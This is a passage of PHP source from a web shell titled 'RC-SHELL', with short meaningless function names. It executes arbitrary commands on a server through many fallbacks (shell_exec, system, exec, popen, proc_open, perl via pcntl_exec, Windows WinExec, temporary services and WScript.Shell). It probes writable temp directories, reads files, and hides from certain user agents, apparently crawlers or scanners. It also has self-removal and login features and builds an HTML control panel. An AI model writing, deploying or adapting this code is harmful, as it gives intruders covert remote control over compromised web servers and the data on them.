$a[$i] : \'\'; } function z9s(){ if(@isset($_SERVER[\'HTTP_USER_AGENT\'])) { if(@preg_match(\'/\'.@implode(\'|\', z7z(3, "agents")).\'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) { @header(z7z(3, "send_header")); exit(0); } } } z9s(); function z9y($k, $w=\'\',$u=0){ global $lang; $l=z7z(2, "language"); $r = \'\'; if(!isset($lang[$l][$k])) return "?"; $r = $lang[$l][$k]; if($w!==\'\'){ if(@is_array($w)){ for($i=0; $i<@count($w); $i++){ if(@isset($w[$i])) $r = @str_replace("[%".($i+1)."%]", $w[$i], $r); } } else { $r = @str_replace("[%1%]", $w, $r); } } return ($u? @strtoupper($r) : $r); } function z9p(){ $o=\'\'; if(@defined(\'PHP_OS\')){ $o=PHP_OS; }elseif(@function_exists(\'php_uname\')&&@is_callable(\'php_uname\')){ $o=@php_uname(\'s\'); } return !@empty($o)?$o:"*NIX"; } function z6v(){ $i=@get_included_files(); return (@count($i)>0) ? ($i[0]!=__FILE__) : 0; } function z9a($d,$s=\':\'){ if($d!=\'\'){ if(!@strstr($d,$s)) return array($d); return @array_map(\'trim\',@explode($s,$d)); } return array(); } function z9i($i){ foreach(array("a"=>"4","e"=>"3","o"=>"0","s"=>"5","l"=>"1","t"=>"7") as $k=>$v){ $i=@str_replace(array($k,@strtoupper($k)),$v,$i); } return $i; } function z3n(){ $wwwdir=false; if(@isset($_SERVER["SCRIPT_NAME"])) { $sn=z1j($_SERVER["SCRIPT_NAME"]); if(@realpath($sn)){ $sp=z1j(@realpath($sn)); } else { $sp=z1j(@realpath(__FILE__)); } $wwwdir=z1k(@substr($sp,0,@strpos($sp,$sn))); } return $wwwdir; } function z6j(){ global $win; $s=\'/\'; $tmp = array(); $tp = array(); $tn = array(\'/tmp/\',\'/dev/shm/\',\'/var/tmp/\'); $tw = array("%WINDIR/temp/"); $ti = array(@ini_get(\'session.save_path\'), @ini_get(\'upload_tmp_dir\')); $te = array(\'TMP\', \'TMPDIR\', \'TEMP\'); if($win){ foreach($tw as $t) $tp[] = $t; } else { foreach($tn as $t) $tp[] = $t; } if(@isset($_ENV)){ foreach($te as $t){ if(!@empty($_ENV[$t])) $tp[] = @realpath($_ENV[$t]); } } foreach($ti as $t){ if(!@empty($t)) $tp[] = $t; } $b=z9a(@ini_get(\'open_basedir\')); if(@count($b)>0){ foreach($b as $t){ if(!empty($t)) $tp[] = $t; } } $tp[]=@realpath(@dirname(__FILE__)); for($i=0; $i < @count($tp); $i++){ if(!@empty($tp[$i])){ $p=@str_replace(\'\\', $s, $tp[$i]); if(@substr($p, -1, 1) != $s){ $p .= $s; } if(!@in_array($p, $tmp)){ $f=@md5(@uniqid(@time())); $fp=@fopen($p.$f,"w"); if($fp){ @fclose($fp); if(@file_exists($p.$f)){ @unlink($p.$f); $tmp[] = @trim($p); } } } } } return (@count($tmp)>0) ? $tmp : array("./"); } function z9o($f){ global $nix, $sh_exec; $r=\'\'; if(z7e(\'fopen\')&&z7e(\'feof\')&&z7e(\'fgets\')&&z7e(\'feof\')&&z7e(\'fclose\') && ($fp = @fopen($f, \'r\'))!==false){ while(!@feof($fp)){$r .= @fgets($fp);}; @fclose($fp); }elseif(z7e(\'fopen\')&&z7e(\'fread\')&&z7e(\'fclose\')&&z7e(\'filesize\')&&($fp = @fopen($f, \'r\'))!==false){ $r = @fread($fp, @filesize($f)); @fclose($fp); }elseif($nix && $sh_exec){ $r=z9e(\'cat "\'.$f.\'" 2>/dev/null\',0); }elseif(z7e(\'file\')&&($fl = @file($f))){ foreach ($fl as $l) { $r .= $l; } }elseif(z7e(\'file_get_contents\')){ $r = @file_get_contents($f); }elseif(z7e(\'readfile\')){ $r = @readfile($f); }elseif(z7e(\'highlight_file\')){ $r = @highlight_file($f); }elseif(z7e(\'show_source\')){ $r = @show_source($f); } return $r; } function z9u($f,$t=\'\'){ global $tempdir; $s=\'\'; if(!$t) $t=@tempnam($tempdir,"copytemp"); if(@copy("compress.zlib://".$f,$t)){ $s=z9o($t); @unlink($t); } return $s; } function z9t($t,$s=\'\'){ if(z7e(\'fopen\')&&z7e(\'fwrite\')&&z7e(\'fclose\')&&($f=@fopen($t,"wb"))!==false){ @fwrite($f,$s); @fclose($f); }elseif(z7e(\'fopen\')&&z7e(\'fputs\')&&z7e(\'fclose\')&&($f=@fopen($t,"wb"))!==false){ @fputs($f,$s); @fclose($f); }elseif(z7e(\'file_put_contents\')){ return @file_put_contents($t,$s); } else { return 0; } return 1; } function z7e($f){ return (@function_exists($f) && @is_callable($f) && !@in_array($f, z6h())) ? 1 : 0; } function z3x($v) { if($v == \'\') return \'no value\'; if(@is_bool ( $v )) return $value ? \'TRUE\' : \'FALSE\'; if($v === null) return \'NULL\'; if(@is_object($v)) $v =(array) $v; if(@is_array($v)) { @ob_start (); print_r ( $v ); $v = @ob_get_contents (); @ob_end_clean (); } return (string) $v; } function z6k($i){ return (z7e(\'escapeshellarg\')) ? @escapeshellarg($i) : $i; } function z9e($c,$h=1) { $r = \'\'; if (!empty($c)){ if(z7e(\'shell_exec\')) { $r = @shell_exec($c); } elseif(z7e(\'system\')) { @ob_start(); @system($c); $r = @ob_get_contents(); @ob_end_clean(); } elseif(z7e(\'passthru\')) { @ob_start(); @passthru($c); $r = @ob_get_contents(); @ob_end_clean(); } elseif(z7e(\'exec\')){ @exec($c,$r); $r = @join("
", $r); } elseif(z7e(\'popen\') && @is_resource($f = @popen($c,"r"))) { if(z7e(\'fread\') && z7e(\'feof\')){ while(!@feof($f)) { $r .= @fread($f,1024); } }elseif(z7e(\'fgets\') && z7e(\'feof\')){ while(!@feof($f)) { $r .= @fgets($f,1024); } } @pclose($f); } elseif(z7e(\'proc_open\') && @is_resource($f = @proc_open($c,array(1 => array("pipe", "w")),$p))) { if(z7e(\'fread\') && z7e(\'feof\')){ while(!@feof($p[1])) {$r .= @fread($p[1], 1024);} }elseif(z7e(\'fgets\') && z7e(\'feof\')){ while(!@feof($p[1])) {$r .= @fgets($p[1], 1024);} } @proc_close($f); } } else { $r = z6c($c); } return ($h?@htmlspecialchars($r):$r); } function z6c($c) { global $win,$tempdir; $r = \'\'; if (!empty($c)) { if(!$win){ if(extension_loaded(\'perl\')){ @ob_start(); $p=new perl(); $p->eval("system(\'$c\')"); $r = @ob_get_contents(); @ob_end_clean(); }elseif(z7e(\'pcntl_exec\') && z7e(\'pcntl_fork\')) { $r = \'[~] Blind Command Execution via [pcntl_exec]
\'; $o=$tempdir.uniqid(\'pcntl\'); $pid = @pcntl_fork(); if ($pid == -1) { $r .= \'[-] Could not fork. Exit\'; } elseif ($pid) { $r .= (@pcntl_wifexited($status) ? \'[+] Done! Command "\'.$c.\'" successfully executed.\' : \'[-] Error. Incorrect Command.\'); } else { $c = array(" -e \'system(\"$c > $o\")\'"); if(@pcntl_exec(\'/usr/bin/perl\',$c)) exit(0); if(@pcntl_exec(\'/usr/local/bin/perl\',$c)) exit(0); die(); } $r=z9o($o); @unlink($o); } } else { $o=$tempdir.uniqid(\'NJ\'); if(extension_loaded(\'ffi\')) { $a=new ffi("[lib=\'kernel32.dll\'] int WinExec(char *APP,int SW);"); $r=$a->WinExec("cmd.exe /c ".z6k($c)." >\"$o\"",0); while(!@file_exists($o))sleep(1); $r=z9o($o); } elseif(extension_loaded(\'win32service\')) { $s=uniqid(\'NJ\'); @win32_create_service(array(\'service\'=>$s,\'display\'=>$s,\'path\'=>\'c:\windows\system32\cmd.exe\',\'params\'=>"/c ".z6k($c)." >\"$o\"")); @win32_start_service($s); @win32_stop_service($s); @win32_delete_service($s); while(!@file_exists($o))sleep(1); $r=z9o($o); } elseif(extension_loaded("win32std")) { @win_shell_execute(\'..\..\..\..\..\..\..\windows\system32\cmd.exe /c \'.z6k($c).\' > "\'.$o.\'"\'); while(!@file_exists($o))sleep(1); $r=z9o($o); } else { $a = new COM("WScript.Shell"); $a->Run(\'c:\windows\system32\cmd.exe /c \'.z6k($c).\' > "\'.$o.\'"\'); $r=z9o($o); } @unlink($o); } } return $r; } function z10e(){ list($u,$s)=@explode(" ",@microtime()); return ((float)$u+(float)$s); } function z4m($c,$i){ $a=array( \'0\'=>array(\'container\',\'login\',\'footer\',\'headnfo\',\'ql\',\'nav\',\'sinfo\',\'tfilter\',\'tahex\',\'phpinfo\'), \'1\'=>array(\'list1\',\'list2\'), \'2\'=>array(\'lerror\',\'topcf\',\'topt\',\'topc\',\'tdfooter\',\'tdql\',\'tdsinfo\',\'tdlsh1\',\'tdlsh2\',\'tdlsf\',\'tdlsfn\',\'tdfilter\',\'tdhead\',\'tdph\',\'tdpl\',\'tdlbl\',\'thex1\',\'thex2\',\'thex3\',\'tdlsf1\',\'tdmail\'), \'3\'=>array("scroll","selector","divls","dwidth","barbg","barfil"), \'4\'=>array(\'size1\',\'size2\',\'size3\',\'size4\',\'size5\',\'size6\',\'size7\',\'size8\',\'size9\',\'size10\'), \'5\'=>array(\'links\',\'slinks\',\'button\',\'head\',\'ql1\',\'ql2\',\'but1\',\'but2\',\'but3\',\'fimg\',\'dirlist\',\'filelist\',\'ftactive\',\'ftcompat\',\'ftother\',\'qlback\',\'mbut1\',\'mbut2\',\'actbut\'), \'6\'=>array(\'console\',\'tgeneric\',\'tedit\',\'txmail\',\'tsql1\',\'tsql2\',\'tinj\'), ); return (@isset($a[$i][$c]) ? $a[$i][$c] : \'\'); } function z7w($a=\'\',$c=\'\',$s=\'\'){ return \'<table cellpadding="0" cellspacing="0" border="0"\'.(($a!=\'\')? \' align="\'.$a.\'"\': \'\').(($c!=\'\')?\' class="\'.z4m($c,\'0\').\'"\': \'\').(($s!=\'\')?z10r($s):\'\').\'>\'."
";} function z9m($c=\'\',$s=\'\'){ return z7w(\'\',$c,$s); } function z7r($c=\'\',$s=\'\'){ return z7w(\'left\',$c,$s); } function z7d($c=\'\',$s=\'\'){ return z7w(\'right\',$c,$s); } function z7g($c=\'\',$s=\'\'){ return z7w(\'center\',$c,$s); } function z10q(){ return \'</table>\'."
"; } function z10w($i,$c=\'\',$s=\'\'){ return z9m($c,$s).$i.z10q(); } function z7h($i,$c=\'\',$s=\'\'){ return z7r($c,$s).$i.z10q(); } function z7s($i,$c=\'\',$s=\'\'){ return z7d($c,$s).$i.z10q(); } function z7a($i,$c=\'\',$s=\'\'){ return z7g($c,$s).$i.z10q(); } function z7y(){ return \'</tr>\'."
"; } function z6d($v,$c=\'\',$id=\'\'){ return \'<tr valign="\'.$v.\'"\'.(($id!=\'\')?\' id="\'.$id.\'"\':\'\').(($c!=\'\')?\' class="\'.z4m($c,\'1\').\'"\': \'\').\'>\'."
"; } function z7t($i,$v,$c=\'\',$id=\'\'){ return z6d($v,$c,$id).$i.z7y(); } function z9d($i,$c=\'\',$id=\'\'){ return z7t($i,"top",$c,$id); } function z7u($i,$c=\'\',$id=\'\'){ return z7t($i,"middle",$c,$id); } function z7p($i,$c=\'\',$id=\'\'){ return z7t($i,"bottom",$c,$id); } function z7o($c=\'\',$id=\'\'){ return z6d("top",$c,$id); } function z6f($c=\'\',$id=\'\'){ return z6d("middle",$c,$id); } function z5c($c=\'\',$id=\'\'){ return z6d("bottom",$c,$id); } function z5b(){ return z9d(z9c(\' \')); } function z6s(){ return z10w(z5b()); } function z5z($a=\'\',$c=\'\',$s=\'\'){ return \'<div\'.(($a!=\'\')?\' align="\'.$a.\'"\':\'\').(($c!=\'\')?\' class="\'.z4m($c,\'3\').\'"\':\'\').(($s!=\'\')?z10r($s):\'\').\'>\'; } function z5h(){ return \'</div>\'; } function z5k($a=\'\',$c=\'\',$s=\'\'){ return \'<td\'.(($a!=\'\') ? \' align="\'.$a.\'"\':\'\').(($c!=\'\')?\' class="\'.z4m($c,\'2\').\'"\': \'\').(($s!=\'\')?z10r($s):\'\').\'>\'."
"; } function z7j($c=\'\',$s=\'\'){ return z5k(\'\',$c,$s); } function z5l($c=\'\',$s=\'\'){ return z5k(\'left\',$c,$s); } function z5m($c=\'\',$s=\'\'){ return z5k(\'right\',$c,$s); } function z6q($c=\'\',$s=\'\'){ return z5k(\'center\',$c,$s); } function z4c($a=\'\',$n,$c=\'\',$s=\'\'){ return \'<td colspan="\'.$n.\'"\'.(($a!=\'\') ? \' align="\'.$a.\'"\':\'\').(($c!=\'\')?\' class="\'.z4m($c,\'2\').\'"\': \'\').(($s!=\'\')?z10r($s):\'\').\'>\'."
"; } function z6i($n,$c=\'\',$s=\'\'){ return z4c(\'\',$n,$c,$s); } function z4k($n,$c=\'\',$s=\'\'){ return z4c(\'left\',$n,$c,$s); } function z4l($n,$c=\'\',$s=\'\'){ return z4c(\'right\',$n,$c,$s); } function z4z($n,$c=\'\',$s=\'\'){ return z4c(\'center\',$n,$c,$s); } function z7f(){ return \'</td>\'."
"; } function z9c($i,$c=\'\',$s=\'\'){ return z7j($c,$s).$i.z7f(); } function z7k($i,$c=\'\',$s=\'\'){ return z5l($c,$s).$i.z7f(); } function z6z($i,$c=\'\',$s=\'\'){ return z5m($c,$s).$i.z7f(); } function z6l($i,$c=\'\',$s=\'\'){ return z6q($c,$s).$i.z7f(); } function z6x($i,$n,$c=\'\',$s=\'\'){ return z6i($n,$c,$s).$i.z7f(); } function z6y($i,$n,$c=\'\',$s=\'\'){ return z4k($n,$c,$s).$i.z7f(); } function z6e($i,$n,$c=\'\',$s=\'\'){ return z4l($n,$c,$s).$i.z7f(); } function z6r($i,$n,$c=\'\',$s=\'\'){ return z4z($n,$c,$s).$i.z7f(); } function z5w($n=\'\',$c,$r=0,$w=\'\',$h=\'\') { return \'<textarea\'.($n!=\'\'?\' id="\'.$n.\'" name="\'.$n.\'"\':\'\').\' class="\'.z4m($c,\'6\').\'"\'.(($w!=\'\'||$h!=\'\')?\' style="\'.($w!=\'\'?\'width:\'.$w.\'px;\':\'\').($h!=\'\'?\'height:\'.$h.\'px;\':\'\').\'"\':\'\').($r?\' readonly\':\'\').\'>\'; } function z5q() { return \'</textarea>\'; } function z9k($t=\'\',$n=\'\'){ return \'<form method="POST" action=""\'.(($t!=\'\') ? \' target="_blank"\' : \'\').(($n!=\'\')? \' name="\'.$n.\'" id="\'.$n.\'"\':\'\').\'>\'; } function z6b($c=\'\',$t=\'\'){ return \'<form method="POST" action=""\'.(($t!=\'\') ? \' target="_blank"\' : \'\').(($c!=\'\')?\' class="\'.z4m($c,\'3\').\'"\': \'\').\'>\'; } function z7l(){ return \'<form method="POST" action="" enctype="multipart/form-data">\'; } function z7i($u,$t=\'\',$m=\'GET\'){ return \'<form method="\'.$m.\'" action="\'.$u.\'"\'.(($t!=\'\') ? \' target="_blank"\' : \'\').\'>\'; } function z9l(){ return \'</form>\'; } function z10r($i){ $u=array(); if(!@is_numeric($i)) return \'\'; $a=array(\'border-top:0;\',\'border-bottom:0;\',\'border-left:0;\',\'border-right:0;\',\'width: 50%;\',\'width: 33%;\', \'border-left: 1px solid #DDDDDD;\',\'text-align: right !important;\',\'width: 150px !important;\',\'margin-left: 0 !important;\'); $r=\'\'; if(@strlen($i)>1){ for($n=0; $n<@strlen($i); $n++){ $c=$i[$n]; if(@isset($a[$c]) && !@isset($u[$c])){ $r .= $a[$c]; $u[$c]=\'\'; } } } else { if(@isset($a[$i])) $r .= $a[$i]; } return ($r!=\'\') ? \' style="\'.$r.\'"\' : $r; } function z8z($i){ return (@is_bool($i) ? (($i) ? \'1\' : \'0\') : $i); } function z9z($n=1){ return @str_repeat("<br>",$n); } function z9x($n=1){ return @str_repeat(" ",$n); } function z6t($t,$c=\'\'){ return \'<span class="\'.$c.\'">\'.$t.\'</span>\'; } function z4y($t){ return z6t($t,"nw"); } function z8k($t){ return z6t($t,"nr"); } function z5p($t){ return z6t($t,"rw"); } function z9j(){ return \' onfocus="this.select();" onmouseover="this.select();" onmouseout="this.select();"\'; } function z4t($n,$v){ global ${$n}; return \'<input type="radio" name="\'.$n.\'" value="\'.$v.\'"\'.((@isset(${$n}) && ${$n}==$v) ? \' checked\' : \'\').\'>\'; } function z9f($n,$v=\'1\',$o=\'\',$i=\'\'){ global ${$n}; return \'<input type="checkbox" id="\'.$i.\'" name="\'.$n.\'" value="\'.$v.\'" style="vertical-align: middle;"\'.(($o==\'\') ? ((${$n}==$v) ? \' checked\' : \'\') : (($o) ? \' checked\': \'\')).\'>\'; } function z6w($f,$t){ return \'<label for="\'.$f.\'">\'.$t.\'</label>\'; } function z5u($i,$t,$n,$v=\'1\',$o=\'\'){ return z9f($n,$v,$o,$i).z6w($i,$t); } function z9g($n,$c=\'\',$s=\'\'){ return \'<input type="file" name="\'.$n.\'" id="\'.$n.\'"\'.(($c!=\'\')?\' class="\'.z4m($c,\'4\').\'"\':\'\').(($s!=\'\') ? z10r($s):\'\').\'>\'; } function z8g($v,$c=\'\',$o=\'\'){ return \'<input type="text" value="\'.z8z($v).\'"\'.(($c!=\'\')?\' class="\'.z4m($c,\'4\').\'"\':\'\').(($o!=\'\') ? z9j() : \'\').\'>\'; } function z6u($n,$v,$c=\'\',$o=\'\',$s=\'\'){ return \'<input type="text" name="\'.$n.\'" value="\'.z8z($v).\'"\'.(($c!=\'\')?\' class="\'.z4m($c,\'4\').\'"\':\'\').($s!=\'\'?\' \'.(@is_numeric($s)?z10r($s):$s):\'\').(($o!=\'\') ? z9j() : \'\').\'>\'; } function z5y($n,$v,$c=\'\',$o=\'\',$s=\'\'){ global ${$n}; return \'<input type="text" name="\'.$n.\'" value="\'.((@isset(${$n}) && !@empty(${$n})) ? ${$n} : ((@isset($_SESSION[$n])) ? $_SESSION[$n] : z8z($v))).\'"\'.(($c!=\'\')?\' class="\'.z4m($c,\'4\').\'"\':\'\').($s!=\'\'?\' \'.(@is_numeric($s)?z10r($s):$s):\'\').(($o!=\'\') ? z9j() : \'\').\'>\'; } function z6p($n,$v,$c=\'\',$o=\'\'){ return \'<input type="password" name="\'.$n.\'" value="\'.z8z($v).\'"\'.(($c!=\'\')?\' class="\'.z4m($c,\'4\').\'"\':\'\').(($o!=\'\') ? z9j() : \'\').\'>\'; } function z5e($n,$v,$c=\'\',$o=\'\'){ global ${$n}; return \'<input type="password" name="\'.$n.\'" value="\'.((@isset(${$n}) && !@empty(${$n})) ? ${$n} : z8z($v)).\'"\'.(($c!=\'\')?\' class="\'.z4m($c,\'4\').\'"\':\'\').(($o!=\'\') ? z9j() : \'\').\'>\'; } function z6o($n,$i,$c=\'\',$s=\'\'){ return \'<input type="submit" \'.($n!=\'\'?\' name="\'.$n.\'"\':\'\').\'value="\'.z8z($i).\'"\'.(($c!=\'\')?\' class="\'.z4m($c,\'5\').\'"\':\'\').(($s!=\'\')?(@is_numeric($s)? z10r($s) : $s):\'\').\'>\'; } function z8b($i,$c=\'\',$s=\'\'){ return z6o(\'\',$i,$c,$s); } function z1s($t,$i,$a,$c=\'\'){ return \'<input type="\'.$t.\'" value="\'.$i.\'" \'.($t==\'submit\'?\'onsubmit\':\'onclick\').\'="\'.$a.\'"\'.(($c!=\'\')?\' class="\'.z4m($c,\'5\').\'"\':\'\').\'>\'; } function z8v($i,$a,$c=\'\'){ return z1s(\'submit\', $i, $a, $c); } function z8m($i,$a,$c=\'\'){ return z1s(\'button\',$i, $a, $c); } function z8h($i,$a=\'\',$c=\'\',$e=\'\'){ global $use_images; return ($use_images ? \'<input type="image" src="?act=i&img=\'.$i.(($e!=\'\')? \'&exe=1\':\'\').\'" value="\'.$a.\'" alt="\'.$a.\'"\'.(($c!=\'\')?\' class="\'.z4m($c,\'5\').\'"\':\'\').\'>\' : z1x(($i==\'small_dir\'||$i==\'small_home\'?\'d\':\'f\'))); } function z2c($ip){ $ip=@preg_replace(\'/[ \s
]/\',\'\',$ip); if(!@is_numeric(@str_replace(".","",$ip))||@substr_count($ip,".")!=3){ return "failed"; }else{ $octets=@explode(".",$ip); $dec=($octets[0]*1<<24)+($octets[1]*1<<16)+($octets[2]*1<<8)+($octets[3]); return $dec; } } function z2z($ip){ $ip=@preg_replace(\'/[ \s
]/\',\'\',$ip); if(!@is_numeric(@str_replace(".","",$ip))||@substr_count($ip,".")!=3){ return "failed"; }else{ $dec=z2c($ip); $hex="0x".@dechex($dec); return $hex; } } function z1u($ip,$oct=""){ $ip=@preg_replace(\'/[ \s
]/\',\'\',$ip); if(!@is_numeric(@str_replace(".","",$ip))||@substr_count($ip,".")!=3){ return "failed"; }else{ $octets=@explode(".",$ip); for($i=0;$i<4;$i++){ $decoct=@decoct($octets[$i]); $len=@strlen($decoct); $leading=(9-$len); $oct.=@str_repeat("0",$leading).$decoct."."; } $oct=@substr($oct,0,@strlen($oct)-1); return $oct; } } function z9v($n,$v=NULL){ global ${$n}; return \'<input type="hidden" name="\'.$n.\'" value="\'.(($v==NULL) ? ((@isset(${$n}) && !@empty(${$n})) ? ${$n} :\'\'): z8z($v)).\'"\'.\'>\'; } function z7m($n,$v=NULL){ global ${$n}; return \'<input type="hidden" name="\'.$n.\'" value="\'.(($v==NULL) ? ((@isset(${$n}) && !@empty(${$n})) ? ${$n} : ((@isset($_SESSION[$n])) ? $_SESSION[$n] : \'\')) : z8z($v)).\'"\'.\'>\'; } function z5j(){ return (z7e(\'get_current_user\') && @get_current_user()!=\'\') ? @get_current_user() : \'Unknown\'; } function z2a($a=array()){ $r=\'\'; foreach($a as $k=>$v){ $r.=(@is_numeric($k) ? z9v($v) : z9v($k,$v)); } return $r; } function z8f($n,$v=NULL){ global ${$n}; return (($v==NULL) ? ((@isset(${$n}) && !@empty(${$n})) ? ${$n} :\'\'): z8z($v)); } function z2x($a=array()){ if(@isset($a[\'backf\'])) return z2a($a); $r=\'\'; foreach($a as $k=>$v){ $r.=(@is_numeric($k) ? $v.\'=\'.@urlencode(z8f($v)) : $k.\'=\'.@urlencode(z8f($k,$v))).\'&\'; } if($r!=\'\') $r=z9v(\'merged\',@base64_encode($r)); return $r; } function z8q($a,$t=\'\',$u=0){ return ($u?z7l():z9k($t)).z2x($a); } function z5x($a,$i,$t=\'\'){ return z8q($a,$t).$i.z9l(); } function z5n($a,$i){ return z8q($a,\'\',1).$i.z9l(); } function z7n($i){ return \'<span style="font-size: 9px; color: #333333; font-weight: bold;">\'.$i.\' </span>\'; } function z5t($i){ return z6z((!@empty($i)?z7n($i):$i),\'15\'); } function z5v($l,$i){ return z6l(z7n($l).$i,\'1\'); } function z10t($h,$n,$c=\'\',$t=\'\'){ return \'<a href="\'.$h.\'"\'.(($c!=\'\') ? \' class="\'.z4m($c,\'5\').\'"\':\'\').(($t!=\'\')?\' target="_blank"\':\'\').\'>\'.$n.\'</a>\'; } function z6a($f){ global $nix, $sh_exec; $m=\'\'; if(z7e(\'md5_file\')&&@md5_file($f)!==false){ $m=@md5_file($f); } elseif($nix && $sh_exec){ $m=z9e(\'md5sum "\'.$f.\'"\',0); if(@strstr($m,\' \')) $m=@substr($m,0,@strpos($m,\' \')); } return (@strlen($m)==32) ? $m : false; } function z3c(){ global $linux,$saddr, $dtotal,$dfree,$bsafe,$bopendir,$bmysql,$bmssql,$boracle,$bpostgres,$bcurl,$use_images; $a=@explode(" ",@getenv("SERVER_SOFTWARE")); $b=@explode("-",@phpversion()); if(@isset($a[0])) { $www=$a[0]; } else { $www="Unknown"; } $www .=z9x(1).z5x(array(\'act\'=>\'phpinfo\',\'d\'),z8b("PHP/".$b[0],\'0\')); echo z10w(z7u(z7k(z7i(\'http://whois.domaintools.com/\'.$saddr,\'1\',\'POST\').z8b(z9y("4"),\'0\').z9l().z9x(5).z7i(\'http://www.domaintools.com/research/traceroute/?query=\'.$saddr,\'1\',\'POST\').z8b(z9y("5"),"0").z9l(),\'6\',\'5\').z6z(z5x(array(\'act\'=>\'selfremove\',\'d\'),z8b(z9y("6"),\'0\')).z9x(5).z5x(array(\'act\'=>\'logout\',\'d\'),z8b(z9y("7"),\'0\')),\'6\',\'5\')),\'6\'); echo z10w( z7u(z6l(z9y("8"),\'2\',\'2\').(($linux)?z6l(z9y("9"),\'2\'):\'\').z6l(z9y("1"),\'2\').z6l(z9y("10"),\'2\').z6l(z9y("11"),\'2\').z6l(z9y("12"),\'2\').z6l(z9y("13"),\'2\').z6l(z9y("14"),\'2\').z6l(z9y("15"),\'2\').z6l(z9y("16"),\'2\').z6l(z9y("17"),\'2\').z6l(z9y("18"),\'2\')). z7u(z6l(z9p(),\'3\',\'2\').(($linux)?z6l(@php_uname(\'r\'),\'3\'):\'\').z6l(z5j(),\'3\').z6l($dtotal.\' / \'.$dfree,\'3\').z6l($www,\'3\').z6l(($bsafe?z6t(z9y("19"),\'nr\'):z6t(z9y("20"),\'rw\')),\'3\').z6l(($bopendir?z6t(z9y("21"),\'nr\'):z6t(z9y("424"),\'rw\')),\'3\').z6l(($bcurl?z6t(z9y("21"),\'rw\'):z9y("22")),\'3\').z6l(($bmysql?z6t(z9y("21"),\'rw\'):z9y("22")),\'3\').z6l(($bmssql?z6t(z9y("21"),\'rw\'):z9y("22")),\'3\').z6l(($boracle?z6t(z9y("21"),\'rw\'):z9y("22")),\'3\').z6l(($bpostgres?z6t(z9y("21"),\'rw\'):z9y("22")),\'3\')) ,\'3\'); } function z3z($login=0){ global $act,$use_images,$sh_exec,$safe_exec,$ft,$nogradient; echo \'<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html">
\'.($use_images?\'<link rel="shortcut icon" href="?act=i&img=exe">\':\'\').\'
\'.((!$login)? \'<title>[ RC-SHELL v\'.z7z(\'0\').(!@empty($_SERVER["SERVER_NAME"]) ? \' - \'.$_SERVER["SERVER_NAME"]:\'\').(!@empty($_SERVER["SERVER_ADDR"]) ? \' - \'.$_SERVER["SERVER_ADDR"]:\'\').\' ]</title>\' : \'<title>\'.z9y("0").\'</title>\').\'
<style type="text/css">
body, table, tr, td, div, select, input, textarea, pre, code { font: 100% \'.z9q("fontfam").\'; text-decoration: none; }
td, div { max-width: \'.z7z(\'5\',"width").\'px; }
input, select, textarea { border: 0; padding: 0; }
input, select, textarea { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; -ms-box-sizing: border-box; }
input::-moz-focus-inner { border: 0;padding: 0; }
body { background-color: \'.z9q("bodybg").\'; font-family: \'.z9q("fontfam").\' !important; font-size: 10px !important; color: \'.z9q("fontcolor").\';}
*:focus {outline: none;}
.but1, .but2, .but3, .actbut, .but1:active, .but2:active, .but3:active .actbut:active { border: 1px solid #cccccc; margin-left: 1px; text-shadow: 1px 1px 2px #ffffff; vertical-align: middle; }
.but1, .but2, .but3, .actbut { \'.z2y("#F5F5F5","#E0E0E0").\' }
.but1:hover, .but2:hover, .but3:hover, .actbut:hover { \'.z2y("#E0E0E0","#F5F5F5").\' cursor: pointer; }
.but1 { width: 28px; height: 18px; font-size: 10px; font-weight: bold; }
.but2 { color: #4F4F4F; padding: 0 10px 0 10px; height: 20px; font-size: 10px; }
.actbut { color: #4F4F4F; padding: 0 10px 0 10px; height: 18px; font-size: 10px; font-weight: normal; }
\'.(($login) ? \'
.login { background: \'.z9q("tablebg").\'; border: 1px solid \'.z9q("tableborder").\'; -moz-box-shadow: \'.z9q("tableshadow").\' 0 0 8px; -webkit-box-shadow: 0 0 8px \'.z9q("tableshadow").\'; box-shadow: 0 0 8px \'.z9q("tableshadow").\'; margin-top: 150px; padding: 10px; text-align: left; }
.login td { padding: 0; }
.login input { background-color: #FFFFFF; border: 1px solid #CCCCCC; color: #333333; margin: 1px; margin-right: 0; height:20px; width:150px; font-size: 10px; text-shadow: 1px 1px 5px #dddddd; vertical-align: middle; }
.lerror { color: \'.z9q(\'errcolor\').\'; padding-bottom: 10px !important; }
\' : \'
.container { background: \'.z9q("tablebg").\'; width: \'.z7z(\'5\',"width").\'px; border: 1px solid \'.z9q("tableborder").\'; -moz-box-shadow: \'.z9q("tableshadow").\' 0 0 8px; -webkit-box-shadow: 0 0 8px \'.z9q("tableshadow").\'; box-shadow: 0 0 8px \'.z9q("tableshadow").\'; }
form { display: inline; }
label { display: inline-block; vertical-align: baseline; }
a { text-decoration: none; }
.links, .links:active, .links:visited { background-color: transparent; color: \'.z9q("tlinkcolor").\'; text-shadow: 1px 1px 3px \'.z9q("tlinkshadow").\'; padding: 0; font-size: 10px; font-weight:normal; vertical-align: middle; vertical-align: inherit !important; }
.links:hover { color: \'.z9q("tlinkcolorhover").\'; cursor: pointer; }
.slinks { background-color: transparent; color: \'.z9q(\'dircolor\').\'; font-size: 11px; font-weight: normal; }
.slinks:hover { cursor: pointer; }
.sinfo { width: 100%; }
.tdsinfo { \'.z2y(z9q("tbarbg1"),z9q("tbarbg2")).\' border-bottom: 1px solid \'.z9q("tbarborderb").\'; border-top: 1px solid \'.z9q("tbarbordert").\'; padding: 4px; }
.tdsinfo .links { font-size: 9px; }
.tdsinfo span { vertical-align: middle; }
.topcf { vertical-align: middle; }
.topt { \'.z2y(z9q("topbg1"),z9q("topbg2")).\' border-top: 1px solid \'.z9q("topborder1").\'; color: \'.z9q("topcolor").\'; text-shadow: 1px 1px 5px \'.z9q("topshadow").\'; padding-top: 10px; font-size: 9px; font-weight: bold; vertical-align: middle; }
.topc { background: \'.((@isset($nogradient)&&$nogradient)?z9q("topbg1"):z9q("topbg2")).\'; color: \'.z9q("topcolor").\'; padding-bottom: 10px; vertical-align: middle; }
.nav { \'.z2y("#ffffff","#f3f3f3").\' border-bottom: 1px solid #f0f0f0; padding: 2px 0 2px 2px; width: 100%; }
.footer { width: 100%; }
